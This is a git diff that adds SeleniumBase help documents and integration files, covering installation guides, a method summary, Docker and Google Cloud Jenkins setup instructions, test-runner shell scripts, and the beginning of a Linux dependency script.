diff --git a/SeleniumBase/help_docs/ReadMe.md b/SeleniumBase/help_docs/ReadMe.md
new file mode 100755
index 00000000..7d806fb4
--- /dev/null
+++ b/SeleniumBase/help_docs/ReadMe.md
@@ -0,0 +1,3 @@
+## Additional Help Documents
+
+This folder contains additional documents to help guide you with requirements installation, setup, and more.
diff --git a/SeleniumBase/help_docs/happy_customers.md b/SeleniumBase/help_docs/happy_customers.md
new file mode 100755
index 00000000..9f73443b
--- /dev/null
+++ b/SeleniumBase/help_docs/happy_customers.md
@@ -0,0 +1,19 @@
+#### Some organizations that've used SeleniumBase include:
+* [HubSpot](http://www.hubspot.com/)
+* [Jana](http://jana.com/)
+* [Veracode](http://www.veracode.com/)
+* [CA Technologies](https://www.ca.com/)
+* [MIT](http://web.mit.edu/)
+* [Akamai](https://www.akamai.com/)
+* [VMware](http://www.vmware.com/)
+* [Raid The Room](http://raidtheroom.com/)
+* [Harvard Medical School](http://hms.harvard.edu/)
+* And more...
+
+**Case Study** (*HubSpot*):
+
+HubSpot saved over one million U.S. dollars by using SeleniumBase to automate the migration of website pages from one content management system to another.
+
+Learn how HubSpot uses SeleniumBase for website testing by reading: [Automated Testing with Selenium](http://dev.hubspot.com/blog/bid/88880/Automated-Integration-Testing-with-Selenium-at-HubSpot)
+
+For more reading about automation at HubSpot, see: [The Classic "QA Team" is Obsolete](http://product.hubspot.com/blog/the-classic-qa-team-is-obsolete)
diff --git a/SeleniumBase/help_docs/hidden_files_info.md b/SeleniumBase/help_docs/hidden_files_info.md
new file mode 100755
index 00000000..dd2d35be
--- /dev/null
+++ b/SeleniumBase/help_docs/hidden_files_info.md
@@ -0,0 +1,6 @@
+### Info about hidden files on a Mac
+
+Depending on your Mac settings, some files may be hidden from view in your Finder window, such as ``.gitignore``. To view all files, run the following command and then reopen the Finder window:
+```bash
+defaults write com.apple.finder AppleShowAllFiles -bool true
+```
diff --git a/SeleniumBase/help_docs/method_summary.md b/SeleniumBase/help_docs/method_summary.md
new file mode 100755
index 00000000..6bc89592
--- /dev/null
+++ b/SeleniumBase/help_docs/method_summary.md
@@ -0,0 +1,219 @@
+### SeleniumBase method summary
+
+Here's a summary of SeleniumBase method definitions, which are defined in [base_case.py](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/fixtures/base_case.py)
+
+In order to maintain backwards compatibility with scripts using earlier verions of SeleniumBase, some methods that had their names shortened can also be called by their original method name. *(Ex: wait_for_element_visible was later shortened to wait_for_element and then to find_element, but the longer method names remained to keep older scripts from failing.)*
+
+```python
+self.open(url)
+
+self.open_url(url)
+
+self.click(selector, by=By.CSS_SELECTOR, timeout=settings.SMALL_TIMEOUT)
+
+self.double_click(selector, by=By.CSS_SELECTOR, timeout=settings.SMALL_TIMEOUT)
+
+self.click_chain(selectors_list, by=By.CSS_SELECTOR,
+    timeout=settings.SMALL_TIMEOUT, spacing=0)
+
+self.click_link_text(link_text, timeout=settings.SMALL_TIMEOUT)
+
+self.click_partial_link_text(partial_link_text, timeout=settings.SMALL_TIMEOUT)
+
+self.get_text(selector, by=By.CSS_SELECTOR, timeout=settings.SMALL_TIMEOUT)
+
+self.get_attribute(selector, attribute, by=By.CSS_SELECTOR,
+    timeout=settings.SMALL_TIMEOUT)
+
+self.refresh_page()
+
+self.get_current_url()
+
+self.get_page_source()
+
+self.get_page_title()
+
+self.go_back()
+
+self.go_forward()
+
+self.get_image_url(selector, by=By.CSS_SELECTOR, timeout=settings.SMALL_TIMEOUT)
+
+self.add_text(selector, new_value, timeout=settings.SMALL_TIMEOUT)
+
+self.send_keys(selector, new_value, timeout=settings.SMALL_TIMEOUT)
+
+self.update_text_value(selector, new_value,
+    timeout=settings.SMALL_TIMEOUT, retry=False)
+
+self.update_text(selector, new_value, timeout=settings.SMALL_TIMEOUT,
+    retry=False)
+
+self.is_element_present(selector, by=By.CSS_SELECTOR)
+
+self.is_element_visible(selector, by=By.CSS_SELECTOR)
+
+self.is_link_text_visible(link_text)
+
+self.is_partial_link_text_visible(partial_link_text)
+
+self.is_text_visible(text, selector, by=By.CSS_SELECTOR)
+
+self.find_visible_elements(selector, by=By.CSS_SELECTOR)
+
+self.execute_script(script)
+
+self.set_window_size(width, height)
+
+self.maximize_window()
+
+self.activate_jquery()
+
+self.highlight(selector, by=By.CSS_SELECTOR, loops=4, scroll=True)
+
+self.scroll_to(selector, by=By.CSS_SELECTOR)
+
+self.slow_scroll_to(selector, by=By.CSS_SELECTOR)
+
+self.scroll_click(selector, by=By.CSS_SELECTOR)
+
+self.click_xpath(xpath)
+
+self.jquery_click(selector, by=By.CSS_SELECTOR)
+
+self.jq_format(code)
+
+self.get_domain_url(url)
+
+self.download_file(file_url, destination_folder=None)
+
+self.save_file_as(file_url, new_file_name, destination_folder=None)
+
+self.convert_xpath_to_css(xpath)
+
+self.convert_to_css_selector(selector, by)
+
+self.set_value(selector, new_value, by=By.CSS_SELECTOR,
+    timeout=settings.SMALL_TIMEOUT)
+
+self.jquery_update_text_value(selector, new_value, by=By.CSS_SELECTOR,
+    timeout=settings.SMALL_TIMEOUT)
+
+self.jquery_update_text(selector, new_value, by=By.CSS_SELECTOR,
+    timeout=settings.SMALL_TIMEOUT)
+
+self.hover_on_element(selector)
+
+self.hover_and_click(hover_selector, click_selector,
+    hover_by=By.CSS_SELECTOR, click_by=By.CSS_SELECTOR,
+    timeout=settings.SMALL_TIMEOUT)
+
+self.pick_select_option_by_text(dropdown_selector, option,
+    dropdown_by=By.CSS_SELECTOR, timeout=settings.SMALL_TIMEOUT)
+
+self.pick_select_option_by_index(dropdown_selector, option,
+    dropdown_by=By.CSS_SELECTOR, timeout=settings.SMALL_TIMEOUT)
+
+self.pick_select_option_by_value(dropdown_selector, option,
+    dropdown_by=By.CSS_SELECTOR, timeout=settings.SMALL_TIMEOUT)
+
+########
+
+self.wait_for_element_present(selector, by=By.CSS_SELECTOR,
+    timeout=settings.LARGE_TIMEOUT)
+
+self.assert_element_present(selector, by=By.CSS_SELECTOR,
+    timeout=settings.SMALL_TIMEOUT)
+
+########
+
+self.wait_for_element_visible(selector, by=By.CSS_SELECTOR,
+    timeout=settings.LARGE_TIMEOUT)
+
+self.wait_for_element(selector, by=By.CSS_SELECTOR,
+    timeout=settings.LARGE_TIMEOUT)
+
+self.find_element(selector, by=By.CSS_SELECTOR, timeout=settings.LARGE_TIMEOUT)
+
+self.assert_element(
+    selector, by=By.CSS_SELECTOR, timeout=settings.SMALL_TIMEOUT)
+
+########
+
+self.wait_for_text_visible(text, selector, by=By.CSS_SELECTOR,
+    timeout=settings.LARGE_TIMEOUT)
+
+self.wait_for_text(text, selector, by=By.CSS_SELECTOR,
+    timeout=settings.LARGE_TIMEOUT)
+
+self.find_text(text, selector, by=By.CSS_SELECTOR,
+    timeout=settings.LARGE_TIMEOUT)
+
+self.assert_text(text, selector, by=By.CSS_SELECTOR,
+    timeout=settings.SMALL_TIMEOUT)
+
+########
+
+self.wait_for_link_text_visible(link_text, timeout=settings.LARGE_TIMEOUT)
+
+self.wait_for_link_text(link_text, timeout=settings.LARGE_TIMEOUT)
+
+self.find_link_text(link_text, timeout=settings.LARGE_TIMEOUT)
+
+self.assert_link_text(link_text, timeout=settings.SMALL_TIMEOUT)
+
+########
+
+self.wait_for_partial_link_text(partial_link_text,
+    timeout=settings.LARGE_TIMEOUT)
+
+self.find_partial_link_text(partial_link_text,
+    timeout=settings.LARGE_TIMEOUT)
+
+self.assert_partial_link_text(partial_link_text,
+    timeout=settings.SMALL_TIMEOUT)
+
+########
+
+self.wait_for_element_absent(selector, by=By.CSS_SELECTOR,
+    timeout=settings.LARGE_TIMEOUT)
+
+self.assert_element_absent(selector, by=By.CSS_SELECTOR,
+    timeout=settings.SMALL_TIMEOUT)
+
+########
+
+self.wait_for_element_not_visible(selector, by=By.CSS_SELECTOR,
+    timeout=settings.LARGE_TIMEOUT)
+
+self.assert_element_not_visible(selector, by=By.CSS_SELECTOR,
+    timeout=settings.SMALL_TIMEOUT)
+
+########
+
+self.wait_for_ready_state_complete(timeout=settings.EXTREME_TIMEOUT)
+
+self.wait_for_and_accept_alert(timeout=settings.LARGE_TIMEOUT)
+
+self.wait_for_and_dismiss_alert(timeout=settings.LARGE_TIMEOUT)
+
+self.wait_for_and_switch_to_alert(timeout=settings.LARGE_TIMEOUT)
+
+self.switch_to_frame(frame, timeout=settings.SMALL_TIMEOUT)
+
+self.switch_to_window(window, timeout=settings.SMALL_TIMEOUT)
+
+self.switch_to_default_content()
+
+self.save_screenshot(name, folder=None)
+
+########
+
+self.check_assert_element(selector, by=By.CSS_SELECTOR,
+    timeout=settings.TINY_TIMEOUT)
+
+self.check_assert_text(text, selector, by=By.CSS_SELECTOR,
+    timeout=settings.TINY_TIMEOUT)
+
+self.process_checks()
+```
\ No newline at end of file
diff --git a/SeleniumBase/help_docs/mysql_installation.md b/SeleniumBase/help_docs/mysql_installation.md
new file mode 100755
index 00000000..6b96b7b2
--- /dev/null
+++ b/SeleniumBase/help_docs/mysql_installation.md
@@ -0,0 +1,54 @@
+### MySQL Installation Instructions
+
+
+#### [MySQL](http://www.mysql.com/) (OPTIONAL)
+
+(NOTE: If you're using this test framework from a local development machine and don't plan on writing to a MySQL DB from your local test runs, you can skip this step.)
+
+Mac:
+```bash
+brew install MySQL
+```
+
+Windows:
+[Download MySQL here](http://dev.mysql.com/downloads/windows/)
+
+That installs the MySQL library so that you can use database commands in your code. To make that useful, you'll want to have a MySQL DB that you can connect to.
+
+#### Access your MySQL DB
+
+If you want a visual tool to help make your MySQL life easier, [try MySQL Workbench](http://dev.mysql.com/downloads/workbench/).
+
+#### Prepare your MySQL DB
+
+You can use the [testcaserepository.sql](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/core/testcaserepository.sql) file to create the necessary tables for storing test data.
+
+If you were able to successfully install MySQL, you can now install the remaining MySQL requirements:
+```bash
+pip install -r server_requirements.txt
+```
+(NOTE: This install uses Selenium 2.53.6 rather than the usual Selenium 3+ from the standard requirements file due to compatibility issues with running browser tests on headless server machines.)
+
+#### Configure your MySQL DB for SeleniumBase
+
+You'll want to update your [settings.py](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/config/settings.py) file with your MySQL DB credentials so that tests can write to the database when they run.
+
+#### Allow tests to write to your MySQL database
+
+Add the ``--with-db_reporting`` argument on the command line when you want tests to write to your MySQL database.
+Example:
+```bash
+nosetests my_first_test.py --with-selenium --with-db_reporting
+```
+
+#### Windows mysql-python troubleshooting:
+
+If you're having trouble with Windows mysql-python installation using pip, you can also try the following steps to install from an alternative source:
+
+* Download the unofficial ``.whl`` format of MySQL-Python and Mysqlclient from [here](http://www.lfd.uci.edu/~gohlke/pythonlibs/#mysql-python).
+
+* Open a console and then cd to where you've downloaded the MySQL-Python .whl file.
+
+* Run the command ``pip install FILENAME.whl``
+
+* If pip.exe is not recognized, you may find it in the "Scripts" directory from where python has been installed.
\ No newline at end of file
diff --git a/SeleniumBase/help_docs/requirements_installation.md b/SeleniumBase/help_docs/requirements_installation.md
new file mode 100755
index 00000000..b9e3c291
--- /dev/null
+++ b/SeleniumBase/help_docs/requirements_installation.md
@@ -0,0 +1,70 @@
+## Installation instructions for Python, pip, brew, git, virtualenv, and virtualenvwrapper
+
+
+### [Python 2.7](https://www.python.org/downloads/)
+
+If you're a MAC user, that should already come preinstalled on your machine. Although Python 3 exists, you'll want Python 2 instead.
+
+If you're a WINDOWS user, [download Python 2.7 from here](https://www.python.org/downloads/release/python-2713/).
+
+
+### [Pip](https://en.wikipedia.org/wiki/Pip_%28package_manager%29)
+
+You might already have pip installed, but if you don't:
+
+On a MAC, run the following command:
+```bash
+sudo easy_install pip
+```
+
+If you're not using the latest version of pip & setuptools, you'll need to upgrade:
+```bash
+pip install -U pip setuptools
+```
+
+On WINDOWS, run the following command:
+```bash
+python -m pip install -U pip setuptools
+```
+
+If you're having any trouble with that, you can [GET PIP HERE](https://pip.pypa.io/en/latest/installing/).
+
+When done, make sure pip is on your path. ($PATH on Mac/Linux. System Environment Variables on WINDOWS.)
+
+
+### [Homebrew](http://brew.sh/) (MAC-ONLY) (OPTIONAL)
+
+Homebrew allows you to install things more easily, such as Git, Chromedriver, and PhantomJS.
+
+```bash
+ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
+brew update
+```
+
+### [Git](http://www.git-scm.com)
+
+(NOTE: You can download the SeleniumBase repository right from GitHub and skip all the git-related commands. That's probably the fastest way if you want to quickly get a live demo of this tool up and running.)
+
+MAC-ONLY: (This step only works if you installed Homebrew in the previous step)
+```bash
+brew install git
+```
+
+(WINDOWS users: Skip the Homebrew part and [download Git here](http://git-scm.com/downloads).)
+
+<a id="virtual_environment"></a>
+### [VirtualEnv](http://virtualenv.readthedocs.org/en/latest/) and [VirtualEnvWrapper](http://virtualenvwrapper.readthedocs.org/en/latest/)
+
+(NOTE: Virtual environments allow each your Python projects to have a unique set of packaged dependencies.)
+
+MAC:
+```bash
+sudo easy_install --upgrade virtualenv
+sudo easy_install --upgrade virtualenvwrapper
+```
+
+WINDOWS:
+```bash
+pip install --upgrade virtualenv
+pip install --upgrade virtualenvwrapper-win
+```
diff --git a/SeleniumBase/help_docs/using_safari_driver.md b/SeleniumBase/help_docs/using_safari_driver.md
new file mode 100755
index 00000000..db0d8831
--- /dev/null
+++ b/SeleniumBase/help_docs/using_safari_driver.md
@@ -0,0 +1,18 @@
+### Info about using Safari Driver for running automated tests on a MAC
+
+(NOTE: SafariDriver requires Safari 10 running on OSX El Capitan or greater)
+
+You can find a nice overview on using Safari Driver [here on GitHub](https://github.com/SeleniumHQ/selenium/wiki/SafariDriver).
+
+That above link will tell you to [download the required Safari Driver browser extension (SafariDriver.safariextz) here at this link](http://selenium-release.storage.googleapis.com/index.html?path=2.48/).
+
+For that to work, you'll need to [download the Standalone Selenium Server from here](http://docs.seleniumhq.org/download/) and put that JAR file in ``/usr/local/bin/``. To make the next step easier, rename the downloaded JAR file to ``selenium-server-standalone.jar`` (if it's not already called that).
+
+Next, configure the Selenium Server JAR file into your PATH like this:
+
+```bash
+export SELENIUM_SERVER_JAR=/usr/local/bin/selenium-server-standalone.jar
+export PATH=$PATH:/usr/local/bin/selenium-server-standalone.jar
+```
+
+Now you're ready to run automated tests on Safari if you use ``--browser=safari`` on the command line when running your tests/scripts with SeleniumBase.
diff --git a/SeleniumBase/help_docs/verify_webdriver.md b/SeleniumBase/help_docs/verify_webdriver.md
new file mode 100755
index 00000000..7cb53e6b
--- /dev/null
+++ b/SeleniumBase/help_docs/verify_webdriver.md
@@ -0,0 +1,23 @@
+### Verify that web drivers were successfully installed
+
+*You can do this by checking inside a Python command prompt. (NOTE: xkcd is a webcomic)*
+
+#### Verifying ChromeDriver
+```bash
+python
+>>> from selenium import webdriver
+>>> browser = webdriver.Chrome()
+>>> browser.get("http://xkcd.com/1337/")
+>>> browser.close()
+>>> exit()
+```
+
+#### Verifying FirefoxDriver (Geckodriver)
+```bash
+python
+>>> from selenium import webdriver
+>>> browser = webdriver.Firefox()
+>>> browser.get("http://xkcd.com/1337/")
+>>> browser.close()
+>>> exit()
+```
diff --git a/SeleniumBase/help_docs/virtualenv_instructions.md b/SeleniumBase/help_docs/virtualenv_instructions.md
new file mode 100755
index 00000000..28ac944c
--- /dev/null
+++ b/SeleniumBase/help_docs/virtualenv_instructions.md
@@ -0,0 +1,43 @@
+### Virtual Environment Setup Instructions
+
+* If you haven't yet installed ``virtualenv`` or ``virtualenvwrapper``, **[follow these instructions first](https://github.com/seleniumbase/SeleniumBase/blob/master/help_docs/requirements_installation.md#virtual_environment)**.
+
+MAC:
+
+(If using ``virtualenv``):
+
+```bash
+mkdir -p ~/Envs
+virtualenv ~/Envs/seleniumbase
+source ~/Envs/seleniumbase/bin/activate
+```
+
+(If using ``virtualenvwrapper``):
+
+```bash
+mkvirtualenv seleniumbase
+```
+
+WINDOWS:
+
+```bash
+mkvirtualenv seleniumbase
+```
+
+If you ever need to leave your virtual environment, use the following command:
+
+```bash
+deactivate
+```
+
+You can always jump back into your virtual environment later:
+
+(If using ``virtualenv``):
+```bash
+source ~/Envs/seleniumbase/bin/activate
+```
+
+(If using ``virtualenvwrapper``):
+```bash
+workon seleniumbase
+```
diff --git a/SeleniumBase/integrations/docker/ReadMe.md b/SeleniumBase/integrations/docker/ReadMe.md
new file mode 100755
index 00000000..005681b3
--- /dev/null
+++ b/SeleniumBase/integrations/docker/ReadMe.md
@@ -0,0 +1,79 @@
+## Docker setup instructions for SeleniumBase
+
+#### 1. Install the Docker Toolbox:
+
+You can get that from here:
+https://www.docker.com/products/docker-toolbox
+
+You might also want to install the Docker Engine:
+https://docs.docker.com/engine/installation/
+
+#### 2. Create your SeleniumBase Docker environment:
+
+    docker-machine create --driver virtualbox seleniumbase
+
+##### (If your Docker environment ever goes down for any reason, you can bring it back up with a restart.)
+
+    docker-machine restart seleniumbase
+
+#### 3. Configure your shell:
+
+    eval "$(docker-machine env seleniumbase)"
+
+#### 4. Go to the SeleniumBase home directory on the command line, which is where [Dockerfile](https://github.com/seleniumbase/SeleniumBase/blob/master/Dockerfile) is located. (This assumes you've already cloned the SeleniumBase repo.)
+
+#### 5. Create your Docker image from your Dockerfile: (Get ready to wait awhile)
+
+    docker build -t seleniumbase .
+
+#### 6. Run [the example test](https://github.com/seleniumbase/SeleniumBase/blob/master/examples/my_first_test.py) inside your Docker: (Once the test completes after a few seconds, you'll automatically exit the Docker shell)
+
+    docker run seleniumbase ./run_docker_test_in_firefox.sh
+
+#### 7. Now run the same test with Chrome inside your Docker:
+
+    docker run seleniumbase ./run_docker_test_in_chrome.sh
+
+#### 8. Now run the same test with PhantomJS inside your Docker:
+
+    docker run seleniumbase ./run_docker_test_in_phantomjs.sh
+
+#### 9. You can also enter Docker and stay inside the shell:
+
+    docker run -i -t seleniumbase
+
+#### 10. Now you can run the example test from inside the Docker shell:
+
+    ./run_docker_test_in_chrome.sh
+
+#### 11. When you're satisfied, you may exit the Docker shell:
+
+    exit
+
+#### 12. (Optional) Since Docker images and containers take up a lot of space, you may want to clean up your machine from time to time when they’re not being used:
+
+Details on that can be found here:
+http://stackoverflow.com/questions/17236796/how-to-remove-old-docker-containers
+
+Here are a few of those cleanup commands:
+
+    docker images | grep "<none>" | awk '{print $3}' | xargs docker rmi
+    docker rm 'docker ps --no-trunc -aq'
+
+If you want to completely remove all of your Docker containers and images, use these commands: (If there's nothing to delete, those commands will return an error.)
+
+    docker rm -f $(docker ps -a -q)
+    docker rmi -f $(docker images -q)
+
+Finally, if you want to wipe out your SeleniumBase Docker virtualbox, use these commands:
+
+    docker-machine kill seleniumbase
+    docker-machine rm seleniumbase
+
+For more cleanup commands, check out:
+https://codefresh.io/blog/everyday-hacks-docker/
+
+#### 13. (Optional) More reading on Docker can be found here:
+* https://docs.docker.com
+* https://docs.docker.com/mac/started/
+* https://docs.docker.com/installation/mac/
diff --git a/SeleniumBase/integrations/docker/docker-entrypoint.sh b/SeleniumBase/integrations/docker/docker-entrypoint.sh
new file mode 100755
index 00000000..b4756f92
--- /dev/null
+++ b/SeleniumBase/integrations/docker/docker-entrypoint.sh
@@ -0,0 +1,4 @@
+#!/bin/bash
+set -e
+echo "***** SeleniumBase Docker Machine *****"
+exec "$@"
diff --git a/SeleniumBase/integrations/docker/docker_config.cfg b/SeleniumBase/integrations/docker/docker_config.cfg
new file mode 100755
index 00000000..728c0821
--- /dev/null
+++ b/SeleniumBase/integrations/docker/docker_config.cfg
@@ -0,0 +1,6 @@
+[nosetests]
+with-selenium=1
+with-testing_base=1
+with-basic_test_info=1
+nocapture=1
+logging-level=INFO
diff --git a/SeleniumBase/integrations/docker/run_docker_test_in_chrome.sh b/SeleniumBase/integrations/docker/run_docker_test_in_chrome.sh
new file mode 100755
index 00000000..b070cb46
--- /dev/null
+++ b/SeleniumBase/integrations/docker/run_docker_test_in_chrome.sh
@@ -0,0 +1,6 @@
+#!/bin/bash
+set -e
+# Run example test from inside Docker image
+echo "Running example SeleniumBase test from Docker with headless Chrome..."
+cd /SeleniumBase/examples/ && nosetests my_first_test.py --config=docker_config.cfg --browser=chrome --headless
+exec "$@"
diff --git a/SeleniumBase/integrations/docker/run_docker_test_in_firefox.sh b/SeleniumBase/integrations/docker/run_docker_test_in_firefox.sh
new file mode 100755
index 00000000..cb692185
--- /dev/null
+++ b/SeleniumBase/integrations/docker/run_docker_test_in_firefox.sh
@@ -0,0 +1,6 @@
+#!/bin/bash
+set -e
+# Run example test from inside Docker image
+echo "Running example SeleniumBase test from Docker with headless Firefox..."
+cd /SeleniumBase/examples/ && nosetests my_first_test.py --config=docker_config.cfg --browser=firefox --headless
+exec "$@"
diff --git a/SeleniumBase/integrations/docker/run_docker_test_in_phantomjs.sh b/SeleniumBase/integrations/docker/run_docker_test_in_phantomjs.sh
new file mode 100755
index 00000000..7e903e86
--- /dev/null
+++ b/SeleniumBase/integrations/docker/run_docker_test_in_phantomjs.sh
@@ -0,0 +1,6 @@
+#!/bin/bash
+set -e
+# Run example test from inside Docker image
+echo "Running example SeleniumBase test from Docker with PhantomJS..."
+cd /SeleniumBase/examples/ && nosetests my_first_test.py --config=docker_config.cfg --browser=phantomjs
+exec "$@"
diff --git a/SeleniumBase/integrations/google_cloud/ReadMe.md b/SeleniumBase/integrations/google_cloud/ReadMe.md
new file mode 100755
index 00000000..86c803dc
--- /dev/null
+++ b/SeleniumBase/integrations/google_cloud/ReadMe.md
@@ -0,0 +1,197 @@
+### Building a browser-based test automation server on the [Google Cloud Platform](https://cloud.google.com/) by using [SeleniumBase](https://github.com/seleniumbase/SeleniumBase)
+
+(This tutorial, [from a previous GCP Meetup live demo](http://www.meetup.com/Boston-Google-Cloud-Meetup/events/230839686/?showDescription=true), will teach you how to setup a Linux server for running automated browser tests. The cost of running this server is [$14.20/month on Google Cloud](https://console.cloud.google.com/launcher/details/bitnami-launchpad/jenkins) (enough to handle **6 parallel tests**). This is amazingly **20 times LESS expensive** than using competitors such as [BrowserStack](https://www.browserstack.com/pricing) or [Sauce Labs](https://saucelabs.com/pricing) **for the SAME number of parallel tests**.)
+
+#### Step 1. Open the Google Cloud Platform Cloud Launcher
+
+* Navigate to [https://console.cloud.google.com/launcher](https://console.cloud.google.com/launcher)
+* (If you already have an active Google Cloud project, the Google Cloud Launcher will probably default to using that. If you don't, [sign up for the free trial of Google Cloud Platform here](https://console.cloud.google.com/freetrial) to get started.)
+
+#### Step 2. Launch a Jenkins instance
+
+![](http://cdn2.hubspot.net/hubfs/100006/images/gcp_cloud_launcher_jenkins_3.png "Finding Jenkins")
+
+* Under "Cloud Launcher", Click on "Jenkins"
+* Click on "Launch on Compute Engine"
+* Give the instance a name
+* Give the instance a zone
+* Click "Create"
+
+#### Step 3. Connect with your new Jenkins instance
+
+![](http://cdn2.hubspot.net/hubfs/100006/images/gcp_ssh.png "SSH into your Jenkins instance")
+
+* SSH into your new instance by selecting: "SSH" => "Open in browser window" from the instance page.
+
+#### Step 4. Clone the SeleniumBase repository from the root ("/") directory.
+
+```bash
+cd /
+sudo git clone https://github.com/seleniumbase/SeleniumBase.git
+```
+
+#### Step 5. Enter the "linux" folder
+
+```bash
+cd SeleniumBase/integrations/linux/
+```
+
+#### Step 6. Give Jenkins (aka "tomcat" user) sudo access (See [jenkins_permissions.sh](https://github.com/seleniumbase/SeleniumBase/blob/master/integrations/linux/jenkins_permissions.sh) for details)
+
+```bash
+./jenkins_permissions.sh
+```
+
+#### Step 7. Become "tomcat" (the Jenkins user) and enter a "bash" shell
+
+```bash
+sudo su tomcat
+bash
+```
+
+#### Step 8. Install dependencies (See [Linuxfile.sh](https://github.com/seleniumbase/SeleniumBase/blob/master/integrations/linux/Linuxfile.sh) for details)
+
+```bash
+./Linuxfile.sh
+```
+
+#### Step 9. Start up the headless browser display mechanism: Xvfb (See [Xvfb_launcher.sh](https://github.com/seleniumbase/SeleniumBase/blob/master/integrations/linux/Xvfb_launcher.sh) for details)
+
+```bash
+./Xvfb_launcher.sh
+```
+
+#### Step 10. Go to the SeleniumBase directory
+
+```bash
+cd /SeleniumBase
+```
+
+#### Step 11. Install the [requirements](https://github.com/seleniumbase/SeleniumBase/blob/master/server_requirements.txt) for SeleniumBase
+
+```bash
+sudo pip install -r server_requirements.txt --upgrade
+```
+
+#### Step 12. Install SeleniumBase (Make sure you already installed the requirements above)
+
+```bash
+sudo python server_setup.py install
+```
+
+#### Step 13. Run an [example test](https://github.com/seleniumbase/SeleniumBase/blob/master/examples/my_first_test.py) in Chrome to verify installation (Takes ~10 seconds)
+
+![](http://cdn2.hubspot.net/hubfs/100006/images/gcp_bitnami.png "Linux SSH Terminal")
+
+```bash
+py.test examples/my_first_test.py --with-selenium --headless --browser=chrome
+```
+
+#### Step 14. If you like nosetests better than pytest, that works too
+
+```bash
+nosetests examples/my_first_test.py --with-selenium --headless --browser=chrome
+```
+
+#### Step 15. You can also verify that the example test runs on Firefox
+
+```bash
+nosetests examples/my_first_test.py --with-selenium --headless --browser=firefox
+```
+
+#### Step 16. Login to Jenkins
+
+* (The url, as well as username and password, should be accessible from your Google Cloud Platform VM instance page.)
+
+#### Step 17. Create a new Jenkins job
+
+![](http://cdn2.hubspot.net/hubfs/100006/images/gcp_jenkins_new_job_2.png "Create a Jenkins job")
+
+* Click on "New Item"
+* Give your new Jenkins job a name (ex: "My_First_Test")
+* Select "Freestyle project"
+* Click "OK"
+
+#### Step 18. Setup your new Jenkins job
+
+* Under "Source Code Management", select "Git".
+* For the "Repository URL", put: ``https://github.com/seleniumbase/SeleniumBase.git``. (You'll eventually be using your own clone of the repository here.)
+* Under "Build", click the "Add build step" dropdown and then select "Execute shell".
+* For the "Command", put:
+```bash
+nosetests examples/my_first_test.py --with-selenium --headless --browser=chrome
+```
+* Click "Save" when you're done.
+
+#### Step 19. Run your new Jenkins job
+
+* Click on "Build Now"
+* (If all the setup was done correctly, you should see a blue dot appear after a few seconds, indicating that the test job passed.)
+
+#### Step 20. Future Work
+
+If you have a web application that you want to test, you'll be able to create SeleniumBase tests and add them to Jenkins as you saw here. You may want to create a Deploy job, which downloads the latest version of your repository, and then kicks off all tests to run after that. You could then tell that Deploy job to auto-run whenever a change is pushed to your repository by using: "Poll SCM". All your tests would then be able to run by using: "Build after other projects are built". You can also use MySQL to save test results in the DB so that you can query the data at any time.
+
+#### Congratulations! You're now well on your way to becoming a build & release / automation engineer!
+
+## MySQL DB setup instructions
+
+#### Step 21. Return to the Google Cloud Launcher and launch a MySQL Instance
+
+![](http://cdn2.hubspot.net/hubfs/100006/images/gcp_mysql.png "Finding MySQL")
+
+* Under "Featured Solutions", Click on "MySQL"
+* Click on "Launch on Compute Engine"
+* Give the instance a name
+* Give the instance a zone
+* Click "Create"
+
+#### Step 22. Get the Connection credentials for your new MySQL DB
+
+* Under the Google Cloud Platform menu, go to "Compute Engine"
+* Find your new MySQL instance and then write down the value written in the "External IP" section.
+* Under the Google Cloud Platform menu, go to "Deployment Manager"
+* Find your new MySQL instance and then click on it.
+* Write down the values for Admin username and password. (Username should be "root")
+
+#### Step 23. Get a MySQL GUI tool so that you can connect to your MySQL DB
+
+* You can download [MySQL Workbench](http://dev.mysql.com/downloads/tools/workbench/) for this.
+
+#### Step 24. Create a new connection to your MySQL DB
+
+* Use the MySQL DB credentials that you saved in Step 21 for this.
+
+#### Step 25. Create a new schema in your MySQL DB
+
+* You can name your schema ``test``.
+
+#### Step 26. Create the necessary tables in your MySQL schema
+
+* Run a SQL script in your MySQL schema using [testcaserepository.sql](https://raw.githubusercontent.com/seleniumbase/SeleniumBase/master/seleniumbase/core/testcaserepository.sql)
+
+#### Step 27. Have your local clone of SeleniumBase connect to your MySQL DB
+
+* Update the MySQL connection details in your [settings.py](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/config/settings.py) file to use the credentials that you saved in Step 21.
+* Run the following command again from the top-level SeleniumBase folder to make sure that SeleniumBase uses the updated credentials:
+
+```bash
+sudo python setup.py install
+```
+
+#### Step 28. Have your SeleniumBase Jenkins jobs use your MySQL DB
+
+* For the "Execute shell", use the following as your updated "Command":
+
+```bash
+nosetests examples/my_test_suite.py --with-selenium --headless --browser=chrome --with-db_reporting --with-testing_base
+```
+
+* Click "Save" when you're done.
+
+#### Step 29. Run your new Jenkins job
+
+* Click on "Build Now"
+* If all goes well, you should be seeing new rows appear in your MySQL DB.
+
+#### Step 30. Congratulations! If you made it this far, you're awesome!
diff --git a/SeleniumBase/integrations/linux/Linuxfile.sh b/SeleniumBase/integrations/linux/Linuxfile.sh
new file mode 100755
index 00000000..9c2a501d
--- /dev/null
+++ b/SeleniumBase/integrations/linux/Linuxfile.sh
@@ -0,0 +1,92 @@
+# SeleniumBase Debian Linux Dependency Installation
+# (Installs all required dependencies on Linux)
+
+# Make sure this script is only run on Linux
+value="$(uname)"
+if [ $value == "Linux" ]
+then
+  echo "Initializing Requirements Setup..."
+else
+  echo "Not on a Linux machine. Exiting..."
+  exit
+fi
+
+# Go home
+cd ~
+
+# Configure apt-get resources
+sudo sh -c "echo \"deb http://packages.linuxmint.com debian import\" >> /etc/apt/sources.list"
+sudo sh -c "echo \"deb http://downloads.sourceforge.net/project/ubuntuzilla/mozilla/apt all main\" >> /etc/apt/sources.list"
+
+# Update aptitude
+sudo aptitude update
+
+# Install core dependencies
+sudo aptitude install -y --force-yes xserver-xorg-core
+sudo aptitude install -y --force-yes x11-xkb-utils
+
+# Install Xvfb (headless display system)
+sudo aptitude install -y --force-yes xvfb
+
+# Install fonts for web browsers
+sudo aptitude install -y --force-yes xfonts-100dpi xfonts-75dpi xfonts-scalable xfonts-cyrillic
+
+# Install Python core dependencies
